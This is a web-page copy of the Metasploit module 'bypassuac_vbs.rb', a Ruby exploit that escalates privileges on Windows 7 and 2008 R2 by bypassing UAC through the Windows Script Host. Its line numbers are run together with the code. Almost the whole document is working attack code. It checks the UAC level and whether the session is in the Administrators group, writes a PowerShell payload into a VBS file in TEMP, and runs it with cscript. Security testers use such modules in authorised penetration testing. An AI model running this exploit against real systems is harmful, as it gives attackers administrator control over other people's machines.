Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/bypassuac_vbs.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Exploit::FileDropper9include Exploit::Powershell10include Post::File11include Post::Windows::Priv12include Post::Windows::Runas1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)',19'Description' => %q{20This module will bypass Windows UAC by utilizing the missing .manifest on the script host21cscript/wscript.exe binaries.22},23'License' => MSF_LICENSE,24'Author' => [25'Vozzie',26'Ben Campbell'27],28'Platform' => [ 'win' ],29'SessionTypes' => [ 'meterpreter' ],30'Targets' => [31[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]32],33'DefaultTarget' => 0,34'References' => [35['URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html'],36['URL', 'https://github.com/Vozzie/uacscript']37],38'DisclosureDate' => '2015-08-22'39)40)41end4243def exploit44# Validate that we can actually do things before we bother45# doing any more work46validate_environment!47check_permissions!4849# get all required environment variables in one shot instead. This50# is a better approach because we don't constantly make calls through51# the session to get the variables.52env_vars = get_envs('TEMP', 'WINDIR')5354case get_uac_level55when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,56UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,57UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT58fail_with(Failure::NotVulnerable,59"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")60when UAC_DEFAULT61print_good('UAC is set to Default')62print_good('BypassUAC can bypass this setting, continuing...')63when UAC_NO_PROMPT64print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')65shell_execute_exe66return67end6869vbs_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.vbs"7071upload_vbs(vbs_filepath)7273cmd_exec("cscript.exe //B #{vbs_filepath}")74end7576def check_permissions!77# Check if you are an admin78vprint_status('Checking admin status...')79admin_group = is_in_admin_group?8081if admin_group.nil?82print_error('Either whoami is not there or failed to execute')83print_error('Continuing under assumption you already checked...')84elsif admin_group85print_good('Part of Administrators group! Continuing...')86else87fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')88end8990if get_integrity_level == INTEGRITY_LEVEL_SID[:low]91fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')92end93end9495def upload_vbs(payload_filepath)96vbs = File.read(File.join(Msf::Config.data_directory,97'exploits',98'scripthost_uac_bypass',99'bypass.vbs'))100101command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true)102103vbs.gsub!('COMMAND', command)104print_status('Uploading the Payload VBS to the filesystem...')105begin106vprint_status("Payload VBS #{vbs.length} bytes long being uploaded..")107write_file(payload_filepath, vbs)108register_file_for_cleanup(payload_filepath)109rescue Rex::Post::Meterpreter::RequestError => e110fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")111end112end113114def validate_environment!115fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?116117version = get_version_info118if version.win7_or_2008r2?119print_good("#{version.product_name} may be vulnerable.")120else121fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.")122end123124if is_uac_enabled?125print_status('UAC is Enabled, checking level...')126else127unless is_in_admin_group?128fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')129end130end131end132end133134135